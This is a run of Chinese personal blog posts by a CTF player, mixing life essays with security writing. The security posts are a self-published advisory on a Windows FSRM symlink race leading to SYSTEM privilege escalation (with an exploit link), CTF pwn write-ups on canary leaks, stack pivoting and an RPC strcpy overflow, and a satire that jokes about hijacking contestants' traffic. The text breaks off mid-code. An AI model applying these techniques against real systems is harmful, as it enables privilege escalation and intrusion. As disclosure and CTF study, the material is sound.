如何搓一道0day题

注意 本文内容纯属虚构娱乐。本创作不包含《网络安全等级保护条例》定义的任何漏洞验证代码/利用程序,不涉及关键信息基础设施安全,未达到《刑法》第二百八十五条规定的技术标准。作者不持有、不传播、不交易任何实际漏洞信息。任何技术细节仅为文学创作的需要加工,如有雷同实属巧合。读者因本文产生的任何设备/数据问题与作者无关。 作为战队里面(划水)能力 max 的人,你应该具有一定的出题素养。你的队伍刚发了通告,48 小时的 CTF 比赛,还得风格化,要有文化背景。出题任务都已经分下去了,队长看大伙出的题不够难,怎么办?让你来。 队长找到你的时候,你屏幕上的 mc 启动器还没来得及关掉,急忙忙的操作反而让它报了一大堆错,哈希码乱跳。你这时一定不要慌,保持冷静,微微一笑,随便点开一个 github repo 开始乱看。队长不会拿你怎么样的。这时队长一定会好声好气地跟你说:“嘿嘿嘿,老师觉得比赛出的题不够难,决定让你来出一道 0day 题。你看你能不能贡献一个洞出来?” 你心里一阵不爽,我这人就是个划水的,出题这种事儿你找别人去吧。出题谁人不能出,偏偏这时让我出。哎呀,今天还得看代码,明天还得开组会,后天还得写报告,事事真是多。早上起不来,晚上事情多。中午打个盹,一天蹉跎过。出题,我是来混吃混喝的,出个西巴崽子啊。 忆往昔皇帝赐官,二话不说,先推辞一番。你把电竞椅转了半圈抵住桌面边缘,看见了队长很尴尬的笑。刚要说出口的拒绝一下子咽了回去。真是麻了,队伍年年办比赛,年年得出题。怎么一到了这一届就得搞一个 0day 题了?好一个秃子植发炸了锅——杀马特了。 不过马上转念一想,我手上确实没有 0day 啊。无知者无畏,责任本来就不在我。情况就完全不同了呗。 你微微一笑,跟队长说:“没问题,我这就去搞一个 0day 题。” 你看着刚刚打开的 repo,无心插柳柳成荫,上面赫然写着 “Postgres”。好机会啊,哥们,好机会啊。鼠标悬在了全世界 top 的数据库 docker 镜像上,看着几天前刚刚发布的版本,你心里一阵狂喜。随后打开自己最爱的 neovim 编辑器,熟练地创建 dockerfile 输入 i,敲下 FROM alpine Postgres,最新版 full patch 的全新数据库扔到题版上。 sha256 显示在屏幕上的瞬间,你脑中浮现出了一个绝妙的主意。假若我直勾勾地把题目放出去,选手一定认为我在骗他们。但如果我随便放个烟雾弹出去,随便整个 sha256 扔出去,选手们就会认为我真的有 0day poc。题目有了支撑,选手们也会觉得我很牛逼。最重要的是,有了这个 sha256,选手们就可以望梅止渴,心里想着这题一定有洞,只是我们没有发现。 为了契合比赛的整体风格,你用尽了你吃奶的力气,写够了提示词,让 ai 生成了一段东部羊仔风格的题目简介。年轻的羊仔骑上了羊飞驰在海滩上,海浪拍打着岸边。然而羊圈没有锁上,羊仔的羊飞速地跑了出去。你觉得自己幽默极了。 于是你打开了 ywitter,发了一条动态,内容是上星期买的速溶咖啡发票订单的 hash。 万事具备,只欠演员登场。比赛时一定会有选手反馈这道题的。先把流量劫持上了。选手们一定会质疑这一点。你一点也不慌,这连压力都不算的。只要你把事情演得到位,这群 xx 一定会护着你的。你马上先把证书给上了,但是记住要用反代,这样既消除了选手的怀疑,你的流量劫持也不会被发现。有人问你就说 “我们尊重并保护选手的隐私,SSL 证书会保护你的流量不被劫持”。 接着选手一定会质疑你的能力。出题要讲究方法的呀,你不能甩个最新版 release 就完事了,连题目范围都没有的。这么大个软件库我怎么找漏洞啊?这时候你还是别慌,淡定地喝一口你的冰杯加色素小饮料。古人说得好,AI 改变世界。你就跟选手说你得找自己问题。只要把代码提供出来 ai 自动给你生成 poc,你轻松找到问题,都不用做的。连一个提示词都不用给。选手们这时候一定觉得你这题出得真棒。一个个都在这护着你,一个解都没有,还得说期待下一次出更好的题呢。 接下来你一句话也不要说。记住,你是出题人,你的工作就是把题目放出去。只要说的话给的信息够少,选手自己就会去猜。现代人都把这个叫作 “内耗”,你就算屁都不放一个,选手自己就把题目给圆上了。你就等着看他们的表演吧。 你知道自己正在参加一场没有导演的即兴剧,那些选手本身就是剧情 NPC。 过个一星期,谁还记得这题?他们不上班不上课的呀。 你心满意足😋。接着在电脑前认真地摸鱼,点开了弹劾案的最新消息。

2025/4/8
articleCard.readMore

至少实现了

跨年 2023 年 12 月 31 日,雁栖湖校区图书馆门前广场如期迎来一年一度的跨年活动。大屏幕上播放这一年来这个名字里既带学院又带大学的学校取得的成绩。前排挤了很多同学,看着视频默默等着 2024 的到来。后排同学三三两两成簇,散播在广场各处。 广场上早早摆起了篝火架,空气里散着一股煤油的刺鼻味。哥们儿们还是一样,喜欢围着火跳舞。领导讲完话,篝火一点,就看到人群围着火玩起了转圈游戏。后面的人伸出双手搭在前面人的肩膀上,一个一个搭起来围成圈,卡着音乐的节拍左右摇摆着向前跑动。 钟楼上的敲钟代表已经就位。等待 0 点到来,人群欢呼声一下盖过了钟声,宣誓着新的公元年的到来。 你随着人群的聚起又散去,逐渐来到了外围,也来到了冷静的黑暗中。你突然意识到, 这个围着篝火转圈的游戏,与我何干?这些在人浪中欢呼嬉戏的人,与我何干?这新年的第一秒,与我何干? 这一刻有多开心,下一刻就多现实。你还得回到教室里刷着手机,掏出笔记本,干着组里给你的干不完的项目。觉还得睡,学还得上,生活还得继续。走了,走了,去他的跨年。每天 0 点都是跨着过的,就这一天特殊得恨不得每年只有今天。早点睡,早点睡。 你回到宿舍,蒙上了厚被子。想起了自己过去的 2023 年,忍不住笑出了猪叫。于是你默默许下一个愿望: 2024 年过得别再像今年一样惨了。 饭还是要吃 你量了量自己的体重。四个月了,尽管拼命地让自己别饿着,还是瘦下了 10 斤。怀柔地僻,无饮食,吃下食堂的饭也只能勉强维持生命体征了。 你想起了那个曾在树洞发泄吃食堂饭吃哭的同学。想着他过着如牛如马般的科研生活,沉重的枷锁压得他腰酸背痛,不再有精力和激情去运动、去看书、去看大好山河。下班后的盼头就是能用一顿美食来犒劳自己。嚼着如腐根一样的盘中餐,豆大的眼泪止不住地落到了碗中…… 生活啊,总得有点盼头。 年底了,也该把该吃的饭给补上。冷不丁在战队群里提一句聚餐的事,事就这样成了。 那时师兄们都还在战队里发光发热,吃过这一顿,于是后来就有了元老群。 同学挖了几个洞,于是就有了请客。 既然都烤肉了,那做得不可能差到哪去。南韩烤肉,敬请见证。 要怎么说四川人会吃。 逃离了雁栖湖,体重总算不往下掉了。生活总得有点盼头,盼着能吃点好的。也只有这一顿好的,让你产生一种错觉,觉得生活不是那么苦。 理发 总得变变生活吧。仔细调研之后,决定了自己学理发,实现自主发型权。 刚把理发器买来,那时还是短发。只消套上卡尺就剪不差了。先把最大的 12mm 卡尺套上,调最长的挡位,刷刷刷过一遍左右两侧和后面的头发。调短 1mm,沿着刚刚的分区再来一遍。依次往下减。这就是一层渐变。头顶的头发用推子会显得太短。拿起牙剪,左手垂直提拉头发,定长,右手咔咔胡剪几下。打薄就这样成了。 剪了几个月。从菜鸟成功晋级到了不怎么菜的菜鸟。退一步讲,至少理短发不再需要花钱了。 后来决定把头发留长。帽子带了两个月,就有了操作空间大的长发。 左右后三面的头发还是一样,拿最长的卡尺咔咔咔全光。上面的头发用夹子夹起分区,一样徒手定长,牙剪打薄。懒得打理了,就直接使劲甩两下头,自然卷加上发量多,就成了一个瓜皮。瓜皮发型曾被锐评:“像韩国打电竞的选手。” 后来不行了,瓜皮不小心理得太短,后期补救一下吧。右眼瞳孔对过去搞个三七分,吹风机对着发根呼呼吹定型,蘸点发泥把头发走向抓成向后,就是三七侧分。 小时候经常自己讲,头可断,发型不可乱,血可流,发型不能丢。一年了,终于实现了发型自由。 MVR 学了学逻辑漏洞,就有了 MSRC 2024 MVR 第 50 名。 最终还是没能在 2024 年的最后一天将 MVR 的纪念品拿到手上。 个人无感,建议把我改成 Most Dingzhen Researcher。丁真上丁真行。 最可怕的事就在这。花了一年时间学的逻辑洞,别人的漏洞都是补一个就另找一个,link following 是补一个少一个。当微软一个个把缓解开起来,就像拍死一只蚂蚁。 用一年时间当了一年的丁真。 科研 自从来了这,好像生活一下陷入了空白。生活中的许多事情已经发生了改变,这种感觉就好像被囚禁在一个无法逃脱的牢笼之中一样令人窒息。 翻开了我已经褪了色的博客,再也看不到彩虹的颜色。 科研科研,有研究有产出。用一年的经历来当了丁真,最后连一点产出都没有。硕士都快没有勇气读下去了,还谈什么读博。 结局 博客终究不是发牢骚的地方,就说这些吧。 至少 2023 年许下的愿望实现了不是?2024 年过得别再像今年一样惨了。 ✅完成,2024 年过得比 2023 年惨。 早点睡吧。

2025/1/1
articleCard.readMore

👴ve-24-001 FSRM Escalation of Privilege

如果 FSRM 不开发就赶紧删了吧,这玩意挖出洞都不会有人理的…… 麻烦各位有能力的话在各个社区转发一下,一起讨论技术。 安全漏洞,发布日期:2024 年 4 月 21 日 发布人:👴 影响:本地权限提升 最大严重性:低 弱点: CWE-367: TOCTOU Race Condition 影响范围:Windows Server 2025 x64 up to 26085,别的没测。 👴评分:4/10 (评分/最高分) 可利用性:存在利用的可能性 致谢: 安全更新:更个 jb,微软给拒绝了 FAQ 攻击者如何利用此漏洞? 攻击者可利用存在于 FSRM 文件过期中的漏洞,导致符号链接的不正确使用,然后利用该漏洞对以 SYSTEM 用户身份运行的服务器执行任意代码。 漏洞细节是什么? 在 FSRM 执行文件过期任务时,攻击者通过在某个精确的时间将文件夹设为符号链接,导致以 SYSTEM 用户身份运行的服务器将恶意文件移动到指定位置。之后,攻击者可以将一个恶意的 DLL 以 SYSTEM 用户身份运行的服务器执行。 当 FSRM 执行过期任务时,先查询当前目录中所有的文件名,保存一份副本。然后对副本中的所有文件名调用 MoveFile API 进行文件的移动。如果攻击者在 MoveFile 执行前将要移动的文件删除掉,并将 Parent Directory 设置成 Symlink,那么 MoveFile 就会尝试将目录实际指向的文件重命名。 通过提前设置好 RPC Control Symlink,攻击者可以将任意的 DLL 写入磁盘中的任意位置,进而导致本地权限提升。 目前 exploit 已经公开:https://github.com/Surager/FSRMEop 修改 版本 日期 描述 1.0 2024.04.21 发布信息

2024/4/21
articleCard.readMore

观博士合唱团新年音乐会杂记

中国人自古以来是如何庆祝节日的。歌舞,佳肴而已。似乎初春至新年以来的疑虑,全部都被这牲醴与歌声一扫而空了。 友人推给我此音乐会门票,正好赶百无聊赖,欣然独往。 音乐会戌时于东区礼堂演出。于摄像机稍后处坐罢。舞台颇简洁大方,钢琴立于西面,北面置放站立架。 演出开始,黑亮西服与翩翩舞裙两两成对,缓缓伴着歌声而来。一下就将整个会场拉到遥远的远方,看见一条漫长的银河闪闪。主持人报幕,音乐会便正式开始了。 第一部分称山水情,四首民族歌曲,属我最喜欢的部分。人声此起彼伏,歌声悠扬。颇有民族文化气息与地域特色。歌声嘹亮之时,好似苍山耸立大地,巨浪撞击河岸;歌声细腻之时,好似青天白云悠悠,入夜河流细流。第二部分称天涯梦,这部分男女声分开来了。选歌也颇具特点,女声柔美,男声高亢,似乎要极力发挥出其优势而来。第三部分称再回首。几首老歌让人不禁回忆起当初。最后一部分称东方红,将毛主席的诗词以歌曲形式唱出来。歌声高潮,仿佛红军战士冲锋陷阵,换得胜利而来。 偶然瞟得摄像机旁有一大姐。台上表演之余,大姐伸出大拇指向台上示意。回想起当初,这位大姐也一定在台上挥洒过青春吧。 不禁想到,台上的如果是我,我该又如何。 我想也没有那么难。一场演出。他们便是单纯地做事,便是单纯地做成了。无关过去怎样,无关未来怎样,也更无关别人怎样。只是单单地沉下去,做事。 此后若是有人好近功利,故意盖过别人。想必这音乐会也没那么好看。 我终究没有做,也无从谈起难与不难。 至少还好,人声如此,人生又如何?唱的是自己的声,做的还是自己的事。 歌曲唱罢,快乐和成功都属于大家。 入夜,北京的冬天寒气入骨,只觉得这寒气将头脑的昏胀冲掉,预备给天下的人们以无限的幸福。

2023/12/31
articleCard.readMore

与肯德基绝交书

往事 肯德基(Kentucky Fried Chicken,肯塔基州炸鸡,简称KFC)是一家美国跨国连锁餐厅,也是世界第二大速食及最大炸鸡连锁企业。它由创始人哈兰·山德士(Colonel Harland Sanders)于1952年创建,主要出售炸鸡、汉堡、薯条、盖饭、蛋挞、汽水等高热量快餐食品 ⁵。您想了解更多关于肯德基的信息吗? 随便问了问 bing,得出了关于肯德基的介绍。 余幼时家贫,没有享受过什么朱缨宝饰、美味佳肴。所以我童年的梦想就是有一天能大快朵颐,换上漂亮的衣服,戴上时髦的帽子。 那是 2008 年,全国人民为奥运喝彩,为灾区祈福。也是在这一年,我们小县城迎来了第一家肯德基炸鸡店,也是成为了我眼中的“奢侈品”。 因为吃不起肯德基,肯德基自然就成了我心中的奢望。每当吃饭的时候,我嘴里嚼着海带丝、羊肉串 (小卖铺包装),心里却幻想着能够大快朵颐一顿肯德基;每当看到家有儿女的一家人欢乐地享受美食,我眼里羡慕着他们的幸福,心里却依然念念不忘一顿肯德基;家里突然停电了,我幼小的心灵如洪水决堤一般破防了,哭着喊着,心里想的仍然是吃一顿肯德基。 但是吃不得,彼时余家贫。 与肯德基 平常的一天,家人各忙各的,留下我没人照顾。家尊正要出差到市里办事,我便跟随着去了。 初入大都,万象更新。车水马龙的街道,拔地而起的高楼,来来往往的人群。走了好多地方,忙了一个上午。该找个地方吃点东西,歇歇上一会。 于是我暗自下决心,一定要抓住这个机会吃一顿肯德基。 初出此想法,老爹不以为然,主食及家常菜为宜。我不甘心就这样错过机会,再三请求午饭吃肯德基。老爹只好同意,省出自己的午饭钱给我买肯德基。 那时没有二维码,前台点单取餐。再三斟酌之后点了一个套餐便罢。等待正要焦急时,前台开始叫号。只见那一个员工忙里忙外把套餐收拾到托盘中,还不停地催促后厨快点。甚至忘了自己拿了什么东西,暂时放空自己的大脑问了一声 “汉堡是不是拿过了”,声音几乎被周围的噪音淹没了。老爹没听清,于是随便回答了一下。 我真心替这位员工感到高兴,他为自己的公司省下了一个汉堡。 吃完了这顿饭,我终于知道了什么是奢侈品。那就是花两倍的钱,却吃不到一半的饱。 我很遗憾,这次肯德基经历没有完全扑灭我对肯德基的热情。就这样,我在对肯德基的念念不忘和对第一次吃肯德基的失落中长大了。经济发展,家境改善,可是手头还是不宽裕,肯德基终归还是“奢侈品”。每次走进肯德基的店面,我都会犹豫不决,压抑不住想吃的心思与高出天际的价格使我心中矛盾重重。每次看到肯德基麦当劳这样的快餐店,我总会问自己几个问题,我能买得起吗,它真的值得吗,我什么时候能随心所欲地吃呢。 后来,我走到了武汉,走到了深圳,走到了哈尔滨,走到了全国各地。想吃就吃的梦想也随着几场比赛的落幕而实现了。 2022年的网鼎杯因为疫情的原因而延期了一年,直到2023年才如期举行。我怀着“能进决赛就是胜利”的心态参加了这场比赛。第一天的比赛成绩不错,我们成功地在青龙组挤进了决赛的名单。 晚饭吃了五分饱,还有些饿,于是我们选择了使用肯德基 19.9 元学生套餐来犒劳自己。可是点餐的过程却很不顺利,原本想要的香辣堡已经卖完了,只能换成其他口味的。我随便选了一个酥脆堡,没想到这个选择让我后悔不已。夜里闲着没事,拿起汉堡吃了起来。谁知道第一口咬下去,就感觉到肉非常地硬,像是有筋一样拉丝。直到我继续咬了第二口第三口第四口,才发现这块肉硬得像石头一样。肉的表面已经完全干透,油炸后放置太久的痕迹明显。肉的内部也没有多少水分和弹性,每一丝都透露着陈旧和腐败。果不其然,吃完后整个胃开始翻江倒海。整个食道都像被火烧了一样,上下一片灼热。 第二天起床就感觉到胃里不对劲了。因为今天带进赛场的不仅有比赛工具,还有我的肠胃炎。 提醒队友别吃别吃,未果。 我觉得肯德基的食品安全是一个既有优势又有挑战的问题,需要肯德基不断地努力和改进,也需要消费者和社会给予更多的信任和支持。 bing 对肯德基食品安全问题的回答还是非常乐观的,但是在我看来,肯德基 我庆幸自己经历了这次肯德基的惨痛教训,它彻底地浇灭了我心中对肯德基的渴望。也许从此以后,我会错过很多让人垂涎的美味,但是我也会省下不少钱来做更有意义的事情。我不会再为了一时的口腹之欢,而冒着食品安全的风险,对我的胃进行大清洗。 吃一堑长一智,谢谢啊,肯德基。 绝交书 亲爱的肯德基: 您好!您就是歌姬吧。您是我第一个尝试的西式快餐,你的堡、翅、薯条、百事可乐,都是我童年的美好阴影。你曾经是我心目中的鸡吧,也曾经是我最信任的鸡吧。 但是,你让我失望了,也让我伤心了。今天,我决定跟你说再见,结束我们多年的情谊。具体如下: 所有肯德基的汉堡卷种类、全鸡种类、米饭种类、冰激凌种类、咖啡种类食物,烤翅、鸡块、鸡米花等小食,永不再吃。 除优惠力度大于 50% 的活动外,一律不考虑购买任何肯德基食品。 如近五年内出现肯德基用劣质、不合格的原料的事件,上一条的前提条件作废。 所以,请原谅我的自私和决绝,请接受我的告别和祝福。那就是: 肯德基,

2023/4/17
articleCard.readMore

纪念本博客诞生第999天

本该写点题目的晚上,又摸鱼打开了自己的博客,看到了999这个数字。 如果回到999天之前,我希望时间能够停止,起码比走上不归的路更好。 不过既然动笔了,那就简单说说吧。 回想之前的999天 这个博客不是因我的主观意愿而诞生的,而是作为作业的产物诞生于 github page。并且经过起先的主题多次更改成为了现在的样子。 起初,我把写网页的作业要求也当作了搭建博客的要求,用简单的 html 写了几句话挂了上去。这或许就是这个博客最初的样子吧。不到一个小时,我便从 jekyll 主题中找到了这个博客最初的主题,Jalpc。 那时候的我还是一个 fresher ,所以我能够发表在博客上的技术文章非常少。所以在 jalpc 时代博客很大程度上是用来整活的。也就是在这时候,本博客最大的作用就是用来做英语作业。作业要求是设计一个帮助外国人学习英语的 app 。所以我就在移动端写了一个前端,把页面直接定向到我的博客,用博客自带的评论功能做了一个论坛。 2019 年年底,新型冠状病毒 (COVID-19) 疫情爆发,长达一个学期的宅家网课生活开始了。对于我这种习惯了假期宅家的人来说,这次疫情宅家生活仍然太长。 那个时候起床都不需要考虑还有几分钟上课。早课睡过迟到了 7 分钟未能签到,极限找了个网络不好的理由就搪塞过去了。 那个时候上课摸鱼都是完全合法的,左面开着 zoom ,右面开着 bilibili 。 那个时候晚上上完课,直接就下楼找个夜店吃一顿了。 也是那个时候,是最闲着的时候。 于是在第 116 天,我通过瞎逛 jekyll 主题知道了 wu-kan 这个主题,于是便有了此博客主题的雏形。 在 2020 年,我的 CTF 生涯处于快速上升期。在那一年,加入了 V&N ,捡漏拿了 3w ,赶上了 libc2.29 堆题难度上升期。于是博客产出也非常多,占到了博文的 76%(30/39) 。在进入 2021 年之后,本人写博客的热情没有以前那么高了,逐渐地转向了 Life 方向写作。 偶然与本校研究生 phuker 闲谈的时候,发现他的博客使用 python 的框架。加上当时对前端比较感兴趣,于是萌生了换框架的想法。在对各个框架进行综合考察之后,发现 html+css 最好用。于是保留了本博客的主题,而对本博客内嵌 html 的方法进行研究,从而从底层实现了 自主可控 自我定制。其中一次整活可见本站 日遇三险II。 后来面对升学的压力,就没有留意博客的更新和维护。一直没有什么大动作。 下个999天? 不怎么更新众多理由之一是有些文章自己写出来都读不下去。我也一直在思考博客究竟是要写什么。 首先作为一个独立中文博客,关于科技方面的,本身就自带一种笔记的性质。所以我作为理工科学生在写文时很难说出些合适的文字,加上本人技术不算好,所以憋一篇文章总是很难的。无奈只能勉强多整理点笔记,发出来给后来者指个路。 也就是说博客发出来必定是给别人看的。如果只是写笔记,写在 onenote 上便可。如果是写随笔,写在日记上即可。为什么要发在博客上?必然是给别人看的。这也就给了我一种无形之中的压力,“如果自己说错了话该怎么办”。于是每次写文时都带着这样的中心思想,生怕别人看了能劈头盖脸骂一顿。该说的话三思而后言,没说到的话三思而后添。总得把自己的笔记包装得像服务费给够了的样子。 还好,我这个人比较糊涂,说出来的话没什么深度,不会贻笑大方。 接下来的时间我也不知道自己能不能突破一下,或者把自己的话说得熟练一点,或者把自己的笔记写得看着高级一点。 总之,我肯定会在博客上留下点有用的东西,但不是现在。

2022/7/22
articleCard.readMore

StudentUnion作协

群号 熊曰:呋食食誘達捕唬有萌嗷哞洞非發人 欢迎各位👴莅临指导。 岁在辛丑,翁$^1$咸集于此。吟诗作赋,游记撰说耳。 是岁初,学会立于海大,号学者联盟,贵鲸队也。学会立之初,行之艰也。自帽者起,学会愈渐壮。众翁自幼喜作文,遂有是群。今寻同议者加之。 翁:通👴。

2021/12/20
articleCard.readMore

2021湖湘杯旅游

前言 有事,换人。于是👴就这么来了。光速定机票,芜湖。 茶愁 茶愁 小时候, 长大后, 后来啊, 而现在, 一到期末事倍多,火急火燎地写完作业以后就还剩 5 小时要上飞机了。👴慢慢悠悠地整了丶饭,收拾了收拾东西,然后玩手机等时间。 没曾想,我看到了这个。 我 tm 直接完蛋。核酸检测没做,直接把人给你🐏️了。 但是!这时候绝对不能放弃。我在千钧一发之刻开始考虑这是不是我此生唯一的喝茶颜悦色的机会。于是大脑 8TB 核 cpu 飞速运转,生成了一个完整的救亡计划。 graph LR a[马上上地铁] --> b[到最近的医院] b --> c[在医院下班之前<br>做完核酸检测] c-->d[到长沙打印电子版] 一套流程跑下来,完美。 于是👴马上 11 号线转 2 号线青大附医下车一路小润满头大汗到核酸检测地点,赶在结束之前 20 分钟完成了核酸检测。完美。 在回地铁的路上,我脑海中微微酝酿出了这首诗。 而现在, (我 tm 直接哭死 夜里的 落地直接一个滴滴到酒店。 酒店是真不戳。两个队友 ha1 和 guoke 住一间,所以我就单人一个大床房。房间是真的大,把洗浴间和卧室中间的墙去掉的话,这空间都够打一套自由搏击的。有单独的浴缸,电和灯都是自动的。真的🐂️🍺️。就是自动灯有点哈人,洗着洗着澡灯给灭了,给👴吓一跳。 吃饭。酒店周围什么都没有。吃饭得走十几分钟到比赛场地周围去吃。第一顿没有什么思路,老样子,掏出随机数生成器来,直接开始 random。 天选烤肉。直接开始点单。整点牛肉、五花。有一个香肠,👴直接开冲。 香肠味道相当不错。竖着烤还给我练了平衡性。彳亍。这波我全功。 一波整完,意犹未尽。直接点第二波。一个肥肠一个猪肉。猪肉不管烤不烤熟全是白的,有点难整。肥肠有点太肥,差点给👴整吐了。这波我全责。 吃完饭当然是茶颜悦色了。 不得不说,茶颜悦色的企业文化有丶吊。热情,服务态度好。进门直接开始一波口号的喊。点单的时候先喊一轮欢迎,然后店员开始用扩音器跟宁交流点单。点完之后再来一波口号。小票的长度是我以前从未想到过的,比我胳膊还长。上面的故事从创业之初写到现在,属于是不忘初心。完事拿到茶要走来再给你来一套欢迎下次光临。说实话,我社恐,我听着贼尴尬。但是我要是入职的话我绝对社交牛逼症拉满喊得最大声。 第一次点了个幽兰拿铁。上面一看还以为是个冰激凌,下面藏着拿铁。一会儿全给化下去了。 夜里智慧到 2 点多,听闻 Mr.R 赶回去上课的消息。于是约好一起买票回青。 坐牢 6 点多起床,洗漱完奔下楼吃了点辣味炒饭,上了大巴到了比赛现场。 到现场直接茶歇区拿两瓶水,抢一血( 后面才知道比赛开始后去厕所和茶歇区都要登记,👴不能像以前那样随意肆虐茶歇区了。 然后就开始了一天的坐牢时间。 开局坐会儿牢 + 领导讲话,一套流程走完之后开始比赛。 开局把题目全拉下来,存个原件。然后直接开始找洞。一个非常规堆题,一个小说题塞个栈溢出,一个unicorn题,一个看着像堆的后门题。 我直接奔着栈溢出就过去了。先防一波,直接 ida patch 小溢出字节数 tar 一下扔上去。然后发现👴的 ftp 不好使。只能手动扔给 ha1 然后再上传。EXP利用成功。👴寻思这能利用成功?! 然后直接考虑开始攻击。一路摁 2 可以跳过小说剧情到达栈溢出,于是直接 for i in range(12): a.sendline("2") 直接一顿乱冲,泄露 canary,栈迁移一气呵成。二血还是三血来着。血亏。 之后开始修菜单堆+后门那题。直接上去把后门给🐏️掉,tar 一下扔上去。还是 EXP利用成功。nmd 后门都🐏️了还能打通? 看那道阴间堆题,无果。看 unicorn 题,看懂了逻辑,没看懂怎么用。 隔壁 web 怎么也修不好。guoke 看了一眼 upload 示例,把打包的文件夹去掉,直接打包文件,修补成功。wdnmd 我方才发现我直接没放 update.sh,重大失误,痛失好几千分,背大锅。 栈迁移修好,后门堆修好。之后开始坐牢。 看了半天后门堆,怎么也没有想出怎么利用这个 clnt_create 来返回非 0。于是打开一份 libc-2.31.so 源码进行一波分析。直到试了试这个漏洞。 if (strcmp (proto, "unix") == 0) { memset ((char *)&sun, 0, sizeof (sun)); sun.sun_family = AF_UNIX; strcpy (sun.sun_path, hostname); // 这个洞 sock = RPC_ANYSOCK; client = clntunix_create (&sun, prog, vers, &sock, 0, 0); if (client == NULL) return NULL; #if 0 /* This is not wanted. This would disable the user from having a timeout in the clnt_call() call. Only a call to cnlt_control() by the user should set the timeout value. */ tv.tv_sec = 25; tv.tv_usec = 0; clnt_control (client, CLSET_TIMEOUT, (char *)&tv); #endif return client; } 这题是给了 libc 的,只不过 strings 出来是 2.27 就没管了。但在测试时,本地报错是 stack smashing detected,远程测试是 segmentation fault。 好家伙,这不就是把 canary 给去掉了嘛。直接爆破填充长度,拿 2 血。 后面盯着 unicorn 的源码看了半天,没分析出啥来。开摆。 web 老哥修了一天的 vote 没有修好,属实是有点难受。 最后做梦一般地从 20+ 到了第 10 名,又到了第八,第七,第六,第五。 前面的老哥送了发火箭,送到了第四名。实现了奖金翻两番。wtcl,这波我全责,全责。 漏🐂️ 奉劝出题人少漏 ID(包括不小心),否则 100% 成为阴间出题人。 橘子洲 颁完奖,吃完饭,开始旅游。直接从五一广场刷琴岛通坐两站地铁到了橘子洲。 上洲后,感觉到一股公园的味道。树林郁郁葱葱。因为洲是南北走向的,宽度不大。所以洲上的植被显得格外旺盛。洲上的池塘、草坪,散发出一股清新,微风为伴,漫步其旁,颇有一番风味。洲上塔与亭该是被保护得不错,也许能够看到当年伟人在此指点江山,彰书生意气。 因为穷因为想亲自感受橘子洲的文化,我选择步行游览整个橘子洲南段。一路走个来回有些许累。 走了一个小时左右,毛泽东青年艺术雕像便出现在不远的前方。游客非常多,都在与伟人进行合影。当年他拯救了整个中华民族,正如今天人人都拥护着他。还记得不久前我刚刚加入共产党,发誓为共产主义奋斗终身,用不叛党。在 20 岁的年华,就应该把自己的青春献给伟大的祖国建设事业当中。风华正茂的青年人应该做时代的挑灯者,应该做时代的太阳。 来回加起来歇息了大约有五六次。大概路是真的太长了。 归程 晚上在五一广场嗦了点面,就来到了机场。 即将告别仅仅呆了两天的长沙,心中实在有点不舍。在这可以轻松地喝到茶颜悦色,可以放下生活中的杂事,感受在赛场上解题的艰苦和解出题来的快乐。一切都挺美好,都是完美生活的一部分。不过旅程总算会到达终点,人还是要回到自己的生活中,继续守自己的岗位。 最后一杯茶颜悦色。 相与步于飞机,寐,Mr.R 亦寝。 想长沙 我的茶颜悦色,我好想你啊😭️ 好想你,茶颜悦色,茶颜悦色 茶颜悦色

2021/12/12
articleCard.readMore

2021陇原战”疫”httpd

前言 可以说 httpd 与👴有很长渊源了。👴刚进贵🐋️的时候,👴的老师是 aidai。讲 web 的那一学期,他布置的二进制作业是阅读 tinyhttpd 源码。你知道一个大笔都对带一新生的心灵造成了多大的伤害吗!👴每个字母都认识,但是就是看不懂啊。 后来在纵横杯 awd 赛道上,aidai 一手 %66lag 秒了一个 httpd。让 StudentUnion 的名字第一次出现在了 CTF 的赛场上。 然后👴这次又碰见了这个不怎么友好的 httpd。 碎碎念 非题解部分,不想看的同志请直接 跳转到题解。 说是 httpd,其实就是堆菜单题套了个壳。属于是换皮出题了。 这题其实不怎么难,关键是有点脑洞。拿到这题,直接去找 web 师傅看一下。 “有没有 web 老哥看一下 pwn 的 httpd。” 我对 web 可以说是一窍不通,只会右键查看源码。( mac 的 touch bar F12 不好使,我连 F12 都不会 ) 然后没人回我……然后我想直接放弃得了,反正不做这题也是第一,躺了躺了。等了一会儿,逆向师傅看了一眼 /robots.txt,直接把二进制文件给你拖下来咯。 好家伙 然后直接进行一个 api 的分析。 Files Downloads: /backup.zip HTTPD ALL APIS: Add API: method: POST url: /?req=add&index=@&size=@ post your data Delete API: method: GET url = /?req=del&index=@ Get API: method: GET url : /?req=get&index=@ [@: is your input value] 这一看就是个堆菜单题的标准模板嘛。直接打开 burp 进行一个试的测。 通过 POST 来创建堆块。然后再用 GET 来 get 他。好家伙,返回 ` { “code”:”false”,”msg”:”none data” } `。 怀疑 add 时没有写入。理由是 add 返回了 {"code":"true", "msg":"warning none data!"}。于是去逆向分析一波。在 0x15110 左右一大堆 xmm 变量里面找到了 warning none data! 这个字符串。找到 httpd::work::work::client_add_data(void) 这个函数,里面大约 360 行有检测。 if ( !httpd::work::work::client_check_is_none(v3) ) { v54 = &s1; v45 = 0x2BLL; v37 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v54, &v45, 0LL); v54 = v37; s1 = v45; *v37 = _mm_load_si128(&unk_15180); v38 = _mm_load_si128(&warning_no_data); *(v37 + 32) = 'atad eno'; *(v37 + 40) = '"!'; *(v37 + 42) = '}'; *(v37 + 16) = v38; v55 = v45; *(v54 + v45) = 0; v25 = *(v3 + 9) == 0LL; v49 = &v51; v51 = 1869834798; v52 = 110; v50 = 5LL; v53 = 0; if ( !v25 ) { (*(v3 + 10))(v3 + 56, &v49, &v54); goto LABEL_70; } l1: if ( v54 != &s1 ) operator delete(v54); goto LABEL_58; } 分析一下 httpd::work::work::client_check_is_none 这个函数。 __int64 __fastcall httpd::work::work::client_check_is_none(httpd::work::work *this) { const __m128i *v1; // rbp __int64 *v2; // r12 __int64 len; // [rsp+0h] [rbp-50h] __m128i *v5; // [rsp+8h] [rbp-48h] __int64 v6; // [rsp+10h] [rbp-40h] __int64 v7; // [rsp+18h] [rbp-38h] unsigned __int64 v8; // [rsp+30h] [rbp-20h] __asm { endbr64 } v8 = __readfsqword(0x28u); v1 = **(this + 2); v5 = &v7; if ( !v1 ) goto LABEL_9; v2 = &v5; len = 0x10LL; v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v5, &len, 0LL); v7 = len; *v5 = _mm_loadu_si128(v1); v6 = len; *(v5->m128i_i64 + len) = 0; LOBYTE(v2) = 